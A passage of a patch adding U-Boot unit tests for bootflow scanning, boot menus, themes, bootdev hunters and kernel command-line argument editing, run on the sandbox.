+ ut_asserteq(1, iter.cur_method);
+ ut_asserteq(0, iter.part);
+ ut_asserteq(0x1e, iter.max_part);
+ ut_asserteq_str("efi", iter.method->name);
+ ut_asserteq(0, bflow.err);
+ ut_asserteq(BOOTFLOWST_MEDIA, bflow.state);
+ bootflow_free(&bflow);
+
+ /* Then more to partition 1 where we find something */
+ ut_assertok(bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(2, iter.num_methods);
+ ut_asserteq(0, iter.cur_method);
+ ut_asserteq(1, iter.part);
+ ut_asserteq(0x1e, iter.max_part);
+ ut_asserteq_str("extlinux", iter.method->name);
+ ut_asserteq(0, bflow.err);
+ ut_asserteq(BOOTFLOWST_READY, bflow.state);
+ bootflow_free(&bflow);
+
+ ut_asserteq(-ENOENT, bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(2, iter.num_methods);
+ ut_asserteq(1, iter.cur_method);
+ ut_asserteq(1, iter.part);
+ ut_asserteq(0x1e, iter.max_part);
+ ut_asserteq_str("efi", iter.method->name);
+ ut_asserteq(0, bflow.err);
+ ut_asserteq(BOOTFLOWST_FS, bflow.state);
+ bootflow_free(&bflow);
+
+ /* Then more to partition 2 which exists but is not bootable */
+ ut_asserteq(-EINVAL, bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(2, iter.num_methods);
+ ut_asserteq(0, iter.cur_method);
+ ut_asserteq(2, iter.part);
+ ut_asserteq(0x1e, iter.max_part);
+ ut_asserteq_str("extlinux", iter.method->name);
+ ut_asserteq(0, bflow.err);
+ ut_asserteq(BOOTFLOWST_MEDIA, bflow.state);
+ bootflow_free(&bflow);
+
+ bootflow_iter_uninit(&iter);
+
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_iter, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+#if defined(CONFIG_SANDBOX) && defined(CONFIG_BOOTMETH_GLOBAL)
+/* Check using the system bootdev */
+static int bootflow_system(struct unit_test_state *uts)
+{
+ struct udevice *bootstd, *dev;
+
+ if (!IS_ENABLED(CONFIG_EFI_BOOTMGR))
+ return -EAGAIN;
+ ut_assertok(uclass_first_device_err(UCLASS_BOOTSTD, &bootstd));
+ ut_assertok(device_bind(bootstd, DM_DRIVER_GET(bootmeth_3efi_mgr),
+ "efi_mgr", 0, ofnode_null(), &dev));
+ ut_assertok(device_probe(dev));
+ sandbox_set_fake_efi_mgr_dev(dev, true);
+
+ /* We should get a single 'bootmgr' method right at the end */
+ bootstd_clear_glob();
+ console_record_reset_enable();
+ ut_assertok(run_command("bootflow scan -lH", 0));
+ ut_assert_skip_to_line(
+ " 0 efi_mgr ready (none) 0 <NULL> ");
+ ut_assert_skip_to_line("No more bootdevs");
+ ut_assert_skip_to_line("(2 bootflows, 2 valid)");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_system, UT_TESTF_DM | UT_TESTF_SCAN_PDATA |
+ UT_TESTF_SCAN_FDT);
+#endif
+
+/* Check disabling a bootmethod if it requests it */
+static int bootflow_iter_disable(struct unit_test_state *uts)
+{
+ struct udevice *bootstd, *dev;
+ struct bootflow_iter iter;
+ struct bootflow bflow;
+ int i;
+
+ /* Add the EFI bootmgr driver */
+ ut_assertok(uclass_first_device_err(UCLASS_BOOTSTD, &bootstd));
+ ut_assertok(device_bind_driver(bootstd, "bootmeth_sandbox", "sandbox",
+ &dev));
+
+ ut_assertok(bootstd_test_drop_bootdev_order(uts));
+
+ bootstd_clear_glob();
+ console_record_reset_enable();
+ ut_assertok(inject_response(uts));
+ ut_assertok(run_command("bootflow scan -lbH", 0));
+
+ /* Try to boot the bootmgr flow, which will fail */
+ console_record_reset_enable();
+ ut_assertok(bootflow_scan_first(NULL, NULL, &iter, 0, &bflow));
+ ut_asserteq(3, iter.num_methods);
+ ut_asserteq_str("sandbox", iter.method->name);
+ ut_assertok(inject_response(uts));
+ ut_asserteq(-ENOTSUPP, bootflow_run_boot(&iter, &bflow));
+
+ ut_assert_skip_to_line("Boot method 'sandbox' failed and will not be retried");
+ ut_assert_console_end();
+
+ /* Check that the sandbox bootmeth has been removed */
+ ut_asserteq(2, iter.num_methods);
+ for (i = 0; i < iter.num_methods; i++)
+ ut_assert(strcmp("sandbox", iter.method_order[i]->name));
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_iter_disable, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check 'bootflow scan' with a bootmeth ordering including a global bootmeth */
+static int bootflow_scan_glob_bootmeth(struct unit_test_state *uts)
+{
+ if (!IS_ENABLED(CONFIG_BOOTMETH_GLOBAL))
+ return -EAGAIN;
+
+ ut_assertok(bootstd_test_drop_bootdev_order(uts));
+
+ /*
+ * Make sure that the -G flag makes the scan fail, since this is not
+ * supported when an ordering is provided
+ */
+ console_record_reset_enable();
+ ut_assertok(bootmeth_set_order("efi firmware0"));
+ ut_assertok(run_command("bootflow scan -lGH", 0));
+ ut_assert_nextline("Scanning for bootflows in all bootdevs");
+ ut_assert_nextline(
+ "Seq Method State Uclass Part Name Filename");
+ ut_assert_nextlinen("---");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("(0 bootflows, 0 valid)");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("bootflow scan -lH", 0));
+ ut_assert_nextline("Scanning for bootflows in all bootdevs");
+ ut_assert_nextline(
+ "Seq Method State Uclass Part Name Filename");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("Scanning global bootmeth 'firmware0':");
+ ut_assert_nextline("Scanning bootdev 'mmc2.bootdev':");
+ ut_assert_nextline("Scanning bootdev 'mmc1.bootdev':");
+ ut_assert_nextline("Scanning bootdev 'mmc0.bootdev':");
+ ut_assert_nextline("No more bootdevs");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("(0 bootflows, 0 valid)");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_scan_glob_bootmeth, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check 'bootflow boot' to boot a selected bootflow */
+static int bootflow_cmd_boot(struct unit_test_state *uts)
+{
+ console_record_reset_enable();
+ ut_assertok(run_command("bootdev select 1", 0));
+ ut_assert_console_end();
+ ut_assertok(run_command("bootflow scan", 0));
+ ut_assert_console_end();
+ ut_assertok(run_command("bootflow select 0", 0));
+ ut_assert_console_end();
+
+ ut_assertok(inject_response(uts));
+ ut_asserteq(1, run_command("bootflow boot", 0));
+ ut_assert_nextline(
+ "** Booting bootflow 'mmc1.bootdev.part_1' with extlinux");
+ ut_assert_nextline("Ignoring unknown command: ui");
+
+ /*
+ * We expect it to get through to boot although sandbox always returns
+ * -EFAULT as it cannot actually boot the kernel
+ */
+ ut_assert_skip_to_line("sandbox: continuing, as we cannot run Linux");
+ ut_assert_nextline("Boot failed (err=-14)");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cmd_boot, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/**
+ * prep_mmc_bootdev() - Set up an mmc bootdev so we can access other distros
+ *
+ * After calling this function, set std->bootdev_order to *@old_orderp to
+ * restore normal operation of bootstd (i.e. with the original bootdev order)
+ *
+ * @uts: Unit test state
+ * @mmc_dev: MMC device to use, e.g. "mmc4". Note that this must remain valid
+ * in the caller until
+ * @bind_cros: true to bind the ChromiumOS bootmeth
+ * @old_orderp: Returns the original bootdev order, which must be restored
+ * Returns 0 on success, -ve on failure
+ */
+static int prep_mmc_bootdev(struct unit_test_state *uts, const char *mmc_dev,
+ bool bind_cros, const char ***old_orderp)
+{
+ static const char *order[] = {"mmc2", "mmc1", NULL, NULL};
+ struct udevice *dev, *bootstd;
+ struct bootstd_priv *std;
+ const char **old_order;
+ ofnode root, node;
+
+ order[2] = mmc_dev;
+
+ /* Enable the mmc4 node since we need a second bootflow */
+ root = oftree_root(oftree_default());
+ node = ofnode_find_subnode(root, mmc_dev);
+ ut_assert(ofnode_valid(node));
+ ut_assertok(lists_bind_fdt(gd->dm_root, node, &dev, NULL, false));
+
+ /* Enable the script bootmeth too */
+ ut_assertok(uclass_first_device_err(UCLASS_BOOTSTD, &bootstd));
+ ut_assertok(device_bind(bootstd, DM_DRIVER_REF(bootmeth_2script),
+ "bootmeth_script", 0, ofnode_null(), &dev));
+
+ /* Enable the cros bootmeth if needed */
+ if (IS_ENABLED(CONFIG_BOOTMETH_CROS) && bind_cros) {
+ ut_assertok(uclass_first_device_err(UCLASS_BOOTSTD, &bootstd));
+ ut_assertok(device_bind(bootstd, DM_DRIVER_REF(bootmeth_cros),
+ "cros", 0, ofnode_null(), &dev));
+ }
+
+ /* Change the order to include the device */
+ std = dev_get_priv(bootstd);
+ old_order = std->bootdev_order;
+ std->bootdev_order = order;
+ *old_orderp = old_order;
+
+ return 0;
+}
+
+/**
+ * scan_mmc_bootdev() - Set up an mmc bootdev so we can access other distros
+ *
+ * @uts: Unit test state
+ * @mmc_dev: MMC device to use, e.g. "mmc4"
+ * @bind_cros: true to bind the ChromiumOS bootmeth
+ * Returns 0 on success, -ve on failure
+ */
+static int scan_mmc_bootdev(struct unit_test_state *uts, const char *mmc_dev,
+ bool bind_cros)
+{
+ struct bootstd_priv *std;
+ struct udevice *bootstd;
+ const char **old_order;
+
+ ut_assertok(prep_mmc_bootdev(uts, mmc_dev, bind_cros, &old_order));
+
+ console_record_reset_enable();
+ ut_assertok(run_command("bootflow scan", 0));
+ ut_assert_console_end();
+
+ /* Restore the order used by the device tree */
+ ut_assertok(uclass_first_device_err(UCLASS_BOOTSTD, &bootstd));
+ std = dev_get_priv(bootstd);
+ std->bootdev_order = old_order;
+
+ return 0;
+}
+
+/**
+ * scan_mmc4_bootdev() - Set up the mmc4 bootdev so we can access a fake Armbian
+ *
+ * @uts: Unit test state
+ * Returns 0 on success, -ve on failure
+ */
+static int scan_mmc4_bootdev(struct unit_test_state *uts)
+{
+ ut_assertok(scan_mmc_bootdev(uts, "mmc4", false));
+
+ return 0;
+}
+
+/* Check 'bootflow menu' to select a bootflow */
+static int bootflow_cmd_menu(struct unit_test_state *uts)
+{
+ struct bootstd_priv *std;
+ char prev[3];
+
+ /* get access to the current bootflow */
+ ut_assertok(bootstd_get_priv(&std));
+
+ ut_assertok(scan_mmc4_bootdev(uts));
+
+ /* Add keypresses to move to and select the second one in the list */
+ prev[0] = CTL_CH('n');
+ prev[1] = '\r';
+ prev[2] = '\0';
+ ut_asserteq(2, console_in_puts(prev));
+
+ ut_assertok(run_command("bootflow menu", 0));
+ ut_assert_nextline("Selected: Armbian");
+ ut_assertnonnull(std->cur_bootflow);
+ ut_assert_console_end();
+
+ /* Check not selecting anything */
+ prev[0] = '\e';
+ prev[1] = '\0';
+ ut_asserteq(1, console_in_puts(prev));
+
+ ut_asserteq(1, run_command("bootflow menu", 0));
+ ut_assertnull(std->cur_bootflow);
+ ut_assert_nextline("Nothing chosen");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cmd_menu, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check 'bootflow scan -m' to select a bootflow using a menu */
+static int bootflow_scan_menu(struct unit_test_state *uts)
+{
+ struct bootstd_priv *std;
+ const char **old_order, **new_order;
+ char prev[3];
+
+ /* get access to the current bootflow */
+ ut_assertok(bootstd_get_priv(&std));
+
+ ut_assertok(prep_mmc_bootdev(uts, "mmc4", false, &old_order));
+
+ /* Add keypresses to move to and select the second one in the list */
+ prev[0] = CTL_CH('n');
+ prev[1] = '\r';
+ prev[2] = '\0';
+ ut_asserteq(2, console_in_puts(prev));
+
+ ut_assertok(run_command("bootflow scan -lm", 0));
+ new_order = std->bootdev_order;
+ std->bootdev_order = old_order;
+
+ ut_assert_skip_to_line("No more bootdevs");
+ ut_assert_nextlinen("--");
+ ut_assert_nextline("(2 bootflows, 2 valid)");
+
+ ut_assert_nextline("Selected: Armbian");
+ ut_assertnonnull(std->cur_bootflow);
+ ut_assert_console_end();
+
+ /* Check not selecting anything */
+ prev[0] = '\e';
+ prev[1] = '\0';
+ ut_asserteq(1, console_in_puts(prev));
+
+ std->bootdev_order = new_order; /* Blue Monday */
+ ut_assertok(run_command("bootflow scan -lm", 0));
+ std->bootdev_order = old_order;
+
+ ut_assertnull(std->cur_bootflow);
+ ut_assert_skip_to_line("(2 bootflows, 2 valid)");
+ ut_assert_nextline("Nothing chosen");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_scan_menu,
+ UT_TESTF_DM | UT_TESTF_SCAN_FDT | UT_TESTF_CONSOLE_REC);
+
+/* Check 'bootflow scan -mb' to select and boot a bootflow using a menu */
+static int bootflow_scan_menu_boot(struct unit_test_state *uts)
+{
+ struct bootstd_priv *std;
+ const char **old_order;
+ char prev[3];
+
+ /* get access to the current bootflow */
+ ut_assertok(bootstd_get_priv(&std));
+
+ ut_assertok(prep_mmc_bootdev(uts, "mmc4", false, &old_order));
+
+ /* Add keypresses to move to and select the second one in the list */
+ prev[0] = CTL_CH('n');
+ prev[1] = '\r';
+ prev[2] = '\0';
+ ut_asserteq(2, console_in_puts(prev));
+
+ ut_assertok(run_command("bootflow scan -lmb", 0));
+ std->bootdev_order = old_order;
+
+ ut_assert_skip_to_line("(2 bootflows, 2 valid)");
+
+ ut_assert_nextline("Selected: Armbian");
+
+ if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ /*
+ * With old hush, despite booti failing to boot, i.e. returning
+ * CMD_RET_FAILURE, run_command() returns 0 which leads bootflow_boot(), as
+ * we are using bootmeth_script here, to return -EFAULT.
+ */
+ ut_assert_skip_to_line("Boot failed (err=-14)");
+ } else if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /*
+ * While with modern one, run_command() propagates CMD_RET_FAILURE returned
+ * by booti, so we get 1 here.
+ */
+ ut_assert_skip_to_line("Boot failed (err=1)");
+ }
+ ut_assertnonnull(std->cur_bootflow);
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_scan_menu_boot,
+ UT_TESTF_DM | UT_TESTF_SCAN_FDT | UT_TESTF_CONSOLE_REC);
+
+/* Check searching for a single bootdev using the hunters */
+static int bootflow_cmd_hunt_single(struct unit_test_state *uts)
+{
+ struct bootstd_priv *std;
+
+ /* get access to the used hunters */
+ ut_assertok(bootstd_get_priv(&std));
+
+ ut_assertok(bootstd_test_drop_bootdev_order(uts));
+
+ console_record_reset_enable();
+ ut_assertok(run_command("bootflow scan -l mmc1", 0));
+ ut_assert_nextline("Scanning for bootflows with label 'mmc1'");
+ ut_assert_skip_to_line("(1 bootflow, 1 valid)");
+ ut_assert_console_end();
+
+ /* check that the hunter was used */
+ ut_asserteq(BIT(MMC_HUNTER) | BIT(1), std->hunters_used);
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cmd_hunt_single, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check searching for a uclass label using the hunters */
+static int bootflow_cmd_hunt_label(struct unit_test_state *uts)
+{
+ struct bootstd_priv *std;
+
+ /* get access to the used hunters */
+ ut_assertok(bootstd_get_priv(&std));
+
+ test_set_skip_delays(true);
+ test_set_eth_enable(false);
+ ut_assertok(bootstd_test_drop_bootdev_order(uts));
+
+ console_record_reset_enable();
+ ut_assertok(run_command("bootflow scan -l mmc", 0));
+
+ /* check that the hunter was used */
+ ut_asserteq(BIT(MMC_HUNTER) | BIT(1), std->hunters_used);
+
+ /* check that we got the mmc1 bootflow */
+ ut_assert_nextline("Scanning for bootflows with label 'mmc'");
+ ut_assert_nextlinen("Seq");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("Hunting with: simple_bus");
+ ut_assert_nextline("Found 2 extension board(s).");
+ ut_assert_nextline("Hunting with: mmc");
+ ut_assert_nextline("Scanning bootdev 'mmc2.bootdev':");
+ ut_assert_nextline("Scanning bootdev 'mmc1.bootdev':");
+ ut_assert_nextline(
+ " 0 extlinux ready mmc 1 mmc1.bootdev.part_1 /extlinux/extlinux.conf");
+ ut_assert_nextline("Scanning bootdev 'mmc0.bootdev':");
+ ut_assert_skip_to_line("(1 bootflow, 1 valid)");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cmd_hunt_label, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/**
+ * check_font() - Check that the font size for an item matches expectations
+ *
+ * @uts: Unit test state
+ * @scn: Scene containing the text object
+ * @id: ID of the text object
+ * Returns 0 on success, -ve on failure
+ */
+static int check_font(struct unit_test_state *uts, struct scene *scn, uint id,
+ int font_size)
+{
+ struct scene_obj_txt *txt;
+
+ txt = scene_obj_find(scn, id, SCENEOBJT_TEXT);
+ ut_assertnonnull(txt);
+
+ ut_asserteq(font_size, txt->font_size);
+
+ return 0;
+}
+
+/* Check themes work with a bootflow menu */
+static int bootflow_menu_theme(struct unit_test_state *uts)
+{
+ const int font_size = 30;
+ struct scene *scn;
+ struct expo *exp;
+ ofnode node;
+ int i;
+
+ ut_assertok(scan_mmc4_bootdev(uts));
+
+ ut_assertok(bootflow_menu_new(&exp));
+ node = ofnode_path("/bootstd/theme");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(bootflow_menu_apply_theme(exp, node));
+
+ scn = expo_lookup_scene_id(exp, MAIN);
+ ut_assertnonnull(scn);
+
+ /*
+ * Check that the txt objects have the correct font size from the
+ * device tree node: bootstd/theme
+ *
+ * Check both menu items, since there are two bootflows
+ */
+ ut_assertok(check_font(uts, scn, OBJ_PROMPT, font_size));
+ ut_assertok(check_font(uts, scn, OBJ_POINTER, font_size));
+ for (i = 0; i < 2; i++) {
+ ut_assertok(check_font(uts, scn, ITEM_DESC + i, font_size));
+ ut_assertok(check_font(uts, scn, ITEM_KEY + i, font_size));
+ ut_assertok(check_font(uts, scn, ITEM_LABEL + i, font_size));
+ }
+
+ expo_destroy(exp);
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_menu_theme, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/**
+ * check_arg() - Check both the normal case and the buffer-overflow case
+ *
+ * @uts: Unit-test state
+ * @expect_ret: Expected return value (i.e. buffer length)
+ * @expect_str: String expected to be returned
+ * @buf: Buffer to use
+ * @from: Original cmdline to update
+ * @arg: Argument to update (e.g. "console")
+ * @val: Value to set (e.g. "ttyS2") or NULL to delete the argument if present,
+ * "" to set it to an empty value (e.g. "console=") and BOOTFLOWCL_EMPTY to add
+ * it without any value ("initrd")
+ */
+static int check_arg(struct unit_test_state *uts, int expect_ret,
+ const char *expect_str, char *buf, const char *from,
+ const char *arg, const char *val)
+{
+ /* check for writing outside the reported bounds */
+ buf[expect_ret] = '[';
+ ut_asserteq(expect_ret,
+ cmdline_set_arg(buf, expect_ret, from, arg, val, NULL));
+ ut_asserteq_str(expect_str, buf);
+ ut_asserteq('[', buf[expect_ret]);
+
+ /* do the test again but with one less byte in the buffer */
+ ut_asserteq(-E2BIG, cmdline_set_arg(buf, expect_ret - 1, from, arg,
+ val, NULL));
+
+ return 0;
+}
+
+/* Test of bootflow_cmdline_set_arg() */
+static int test_bootflow_cmdline_set(struct unit_test_state *uts)
+{
+ char buf[50];
+ const int size = sizeof(buf);
+
+ /*
+ * note that buffer-overflow tests are immediately each test case, just
+ * top keep the code together
+ */
+
+ /* add an arg that doesn't already exist, starting from empty */
+ ut_asserteq(-ENOENT, cmdline_set_arg(buf, size, NULL, "me", NULL,
+ NULL));
+
+ ut_assertok(check_arg(uts, 3, "me", buf, NULL, "me", BOOTFLOWCL_EMPTY));
+ ut_assertok(check_arg(uts, 4, "me=", buf, NULL, "me", ""));
+ ut_assertok(check_arg(uts, 8, "me=fred", buf, NULL, "me", "fred"));
+
+ /* add an arg that doesn't already exist, starting from non-empty */
+ ut_assertok(check_arg(uts, 11, "arg=123 me", buf, "arg=123", "me",
+ BOOTFLOWCL_EMPTY));
+ ut_assertok(check_arg(uts, 12, "arg=123 me=", buf, "arg=123", "me",
+ ""));
+ ut_assertok(check_arg(uts, 16, "arg=123 me=fred", buf, "arg=123", "me",
+ "fred"));
+
+ /* update an arg at the start */
+ ut_assertok(check_arg(uts, 1, "", buf, "arg=123", "arg", NULL));
+ ut_assertok(check_arg(uts, 4, "arg", buf, "arg=123", "arg",
+ BOOTFLOWCL_EMPTY));
+ ut_assertok(check_arg(uts, 5, "arg=", buf, "arg=123", "arg", ""));
+ ut_assertok(check_arg(uts, 6, "arg=1", buf, "arg=123", "arg", "1"));
+ ut_assertok(check_arg(uts, 9, "arg=1234", buf, "arg=123", "arg",
+ "1234"));
+
+ /* update an arg at the end */
+ ut_assertok(check_arg(uts, 5, "mary", buf, "mary arg=123", "arg",
+ NULL));
+ ut_assertok(check_arg(uts, 9, "mary arg", buf, "mary arg=123", "arg",
+ BOOTFLOWCL_EMPTY));
+ ut_assertok(check_arg(uts, 10, "mary arg=", buf, "mary arg=123", "arg",
+ ""));
+ ut_assertok(check_arg(uts, 11, "mary arg=1", buf, "mary arg=123", "arg",
+ "1"));
+ ut_assertok(check_arg(uts, 14, "mary arg=1234", buf, "mary arg=123",
+ "arg", "1234"));
+
+ /* update an arg in the middle */
+ ut_assertok(check_arg(uts, 16, "mary=abc john=2", buf,
+ "mary=abc arg=123 john=2", "arg", NULL));
+ ut_assertok(check_arg(uts, 20, "mary=abc arg john=2", buf,
+ "mary=abc arg=123 john=2", "arg",
+ BOOTFLOWCL_EMPTY));
+ ut_assertok(check_arg(uts, 21, "mary=abc arg= john=2", buf,
+ "mary=abc arg=123 john=2", "arg", ""));
+ ut_assertok(check_arg(uts, 22, "mary=abc arg=1 john=2", buf,
+ "mary=abc arg=123 john=2", "arg", "1"));
+ ut_assertok(check_arg(uts, 25, "mary=abc arg=1234 john=2", buf,
+ "mary=abc arg=123 john=2", "arg", "1234"));
+
+ /* handle existing args with quotes */
+ ut_assertok(check_arg(uts, 16, "mary=\"abc\" john", buf,
+ "mary=\"abc\" arg=123 john", "arg", NULL));
+
+ /* handle existing args with quoted spaces */
+ ut_assertok(check_arg(uts, 20, "mary=\"abc def\" john", buf,
+ "mary=\"abc def\" arg=123 john", "arg", NULL));
+
+ ut_assertok(check_arg(uts, 34, "mary=\"abc def\" arg=123 john def=4",
+ buf, "mary=\"abc def\" arg=123 john", "def",
+ "4"));
+
+ /* quote at the start */
+ ut_asserteq(-EBADF, cmdline_set_arg(buf, size,
+ "mary=\"abc def\" arg=\"123 456\"",
+ "arg", "\"4 5 6", NULL));
+
+ /* quote at the end */
+ ut_asserteq(-EBADF, cmdline_set_arg(buf, size,
+ "mary=\"abc def\" arg=\"123 456\"",
+ "arg", "4 5 6\"", NULL));
+
+ /* quote in the middle */
+ ut_asserteq(-EBADF, cmdline_set_arg(buf, size,
+ "mary=\"abc def\" arg=\"123 456\"",
+ "arg", "\"4 \"5 6\"", NULL));
+
+ /* handle updating a quoted arg */
+ ut_assertok(check_arg(uts, 27, "mary=\"abc def\" arg=\"4 5 6\"", buf,
+ "mary=\"abc def\" arg=\"123 456\"", "arg",
+ "4 5 6"));
+
+ /* changing a quoted arg to a non-quoted arg */
+ ut_assertok(check_arg(uts, 23, "mary=\"abc def\" arg=789", buf,
+ "mary=\"abc def\" arg=\"123 456\"", "arg",
+ "789"));
+
+ /* changing a non-quoted arg to a quoted arg */
+ ut_assertok(check_arg(uts, 29, "mary=\"abc def\" arg=\"456 789\"", buf,
+ "mary=\"abc def\" arg=123", "arg", "456 789"));
+
+ /* handling of spaces */
+ ut_assertok(check_arg(uts, 8, "arg=123", buf, " ", "arg", "123"));
+ ut_assertok(check_arg(uts, 8, "arg=123", buf, " ", "arg", "123"));
+ ut_assertok(check_arg(uts, 13, "john arg=123", buf, " john ", "arg",
+ "123"));
+ ut_assertok(check_arg(uts, 13, "john arg=123", buf, " john arg=123 ",
+ "arg", "123"));
+ ut_assertok(check_arg(uts, 18, "john arg=123 mary", buf,
+ " john arg=123 mary ", "arg", "123"));
+
+ /* unchanged arg */
+ ut_assertok(check_arg(uts, 3, "me", buf, "me", "me", BOOTFLOWCL_EMPTY));
+
+ /* arg which starts with the same name */
+ ut_assertok(check_arg(uts, 28, "mary=abc johnathon=2 john=3", buf,
+ "mary=abc johnathon=2 john=1", "john", "3"));
+
+ return 0;
+}
+BOOTSTD_TEST(test_bootflow_cmdline_set, 0);
+
+/* Test of bootflow_cmdline_set_arg() */
+static int bootflow_set_arg(struct unit_test_state *uts)
+{
+ struct bootflow s_bflow, *bflow = &s_bflow;
+ ulong mem_start;
+
+ ut_assertok(env_set("bootargs", NULL));
+
+ mem_start = ut_check_delta(0);
+
+ /* Do a simple sanity check. Rely on bootflow_cmdline() for the rest */
+ bflow->cmdline = NULL;
+ ut_assertok(bootflow_cmdline_set_arg(bflow, "fred", "123", false));
+ ut_asserteq_str(bflow->cmdline, "fred=123");
+
+ ut_assertok(bootflow_cmdline_set_arg(bflow, "mary", "and here", false));
+ ut_asserteq_str(bflow->cmdline, "fred=123 mary=\"and here\"");
+
+ ut_assertok(bootflow_cmdline_set_arg(bflow, "mary", NULL, false));
+ ut_asserteq_str(bflow->cmdline, "fred=123");
+ ut_assertok(bootflow_cmdline_set_arg(bflow, "fred", NULL, false));
+ ut_asserteq_ptr(bflow->cmdline, NULL);
+
+ ut_asserteq(0, ut_check_delta(mem_start));
+
+ ut_assertok(bootflow_cmdline_set_arg(bflow, "mary", "here", true));
+ ut_asserteq_str("mary=here", env_get("bootargs"));
+ ut_assertok(env_set("bootargs", NULL));
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_set_arg, 0);
+
+/* Test of bootflow_cmdline_get_arg() */
+static int bootflow_cmdline_get(struct unit_test_state *uts)
+{
+ int pos;
+
+ /* empty string */
+ ut_asserteq(-ENOENT, cmdline_get_arg("", "fred", &pos));
+
+ /* arg with empty value */
+ ut_asserteq(0, cmdline_get_arg("fred= mary", "fred", &pos));
+ ut_asserteq(5, pos);
+
+ /* arg with a value */
+ ut_asserteq(2, cmdline_get_arg("fred=23", "fred", &pos));
+ ut_asserteq(5, pos);
+
+ /* arg with a value */
+ ut_asserteq(3, cmdline_get_arg("mary=1 fred=234", "fred", &pos));
+ ut_asserteq(12, pos);
+
+ /* arg with a value, after quoted arg */
+ ut_asserteq(3, cmdline_get_arg("mary=\"1 2\" fred=234", "fred", &pos));
+ ut_asserteq(16, pos);
+
+ /* arg in the middle */
+ ut_asserteq(0, cmdline_get_arg("mary=\"1 2\" fred john=23", "fred",
+ &pos));
+ ut_asserteq(15, pos);
+
+ /* quoted arg */
+ ut_asserteq(3, cmdline_get_arg("mary=\"1 2\" fred=\"3 4\" john=23",
+ "fred", &pos));
+ ut_asserteq(17, pos);
+
+ /* args starting with the same prefix */
+ ut_asserteq(1, cmdline_get_arg("mary=abc johnathon=3 john=1", "john",
+ &pos));
+ ut_asserteq(26, pos);
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cmdline_get, 0);
+
+static int bootflow_cmdline(struct unit_test_state *uts)
+{
+ ut_assertok(run_command("bootflow scan mmc", 0));
+ ut_assertok(run_command("bootflow sel 0", 0));
+ console_record_reset_enable();
+
+ ut_asserteq(1, run_command("bootflow cmdline get fred", 0));
+ ut_assert_nextline("Argument not found");
+ ut_assert_console_end();
+
+ ut_asserteq(0, run_command("bootflow cmdline set fred 123", 0));
+ ut_asserteq(0, run_command("bootflow cmdline get fred", 0));
+ ut_assert_nextline("123");
+
+ ut_asserteq(0, run_command("bootflow cmdline set mary abc", 0));
+ ut_asserteq(0, run_command("bootflow cmdline get mary", 0));
+ ut_assert_nextline("abc");
+
+ ut_asserteq(0, run_command("bootflow cmdline delete fred", 0));
+ ut_asserteq(1, run_command("bootflow cmdline get fred", 0));
+ ut_assert_nextline("Argument not found");
+
+ ut_asserteq(0, run_command("bootflow cmdline clear mary", 0));
+ ut_asserteq(0, run_command("bootflow cmdline get mary", 0));
+ ut_assert_nextline_empty();
+
+ ut_asserteq(0, run_command("bootflow cmdline set mary abc", 0));
+ ut_asserteq(0, run_command("bootflow cmdline set mary", 0));
+ ut_assert_nextline_empty();
+
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cmdline, 0);
+
+/* test a few special changes to a long command line */
+static int bootflow_cmdline_special(struct unit_test_state *uts)
+{
+ char buf[500];
+ int pos;
+
+ /*
+ * check handling of an argument which has an embedded '=', as well as
+ * handling of a argument which partially matches ("ro" and "root")
+ */
+ ut_asserteq(32, cmdline_set_arg(
+ buf, sizeof(buf),
+ "loglevel=7 root=PARTUUID=d68352e3 rootwait ro noinitrd",
+ "root", NULL, &pos));
+ ut_asserteq_str("loglevel=7 rootwait ro noinitrd", buf);
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cmdline_special, 0);
+
+/* Test ChromiumOS bootmeth */
+static int bootflow_cros(struct unit_test_state *uts)
+{
+ ut_assertok(scan_mmc_bootdev(uts, "mmc5", true));
+ ut_assertok(run_command("bootflow list", 0));
+
+ ut_assert_nextlinen("Showing all");
+ ut_assert_nextlinen("Seq");
+ ut_assert_nextlinen("---");
+ ut_assert_nextlinen(" 0 extlinux");
+ ut_assert_nextlinen(" 1 cros ready mmc 2 mmc5.bootdev.part_2 ");
+ ut_assert_nextlinen(" 2 cros ready mmc 4 mmc5.bootdev.part_4 ");
+ ut_assert_nextlinen("---");
+ ut_assert_skip_to_line("(3 bootflows, 3 valid)");
+
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootflow_cros, 0);
diff --git a/test/boot/bootmeth.c b/test/boot/bootmeth.c
new file mode 100644
index 00000000000..113b789ea79
--- /dev/null
+++ b/test/boot/bootmeth.c
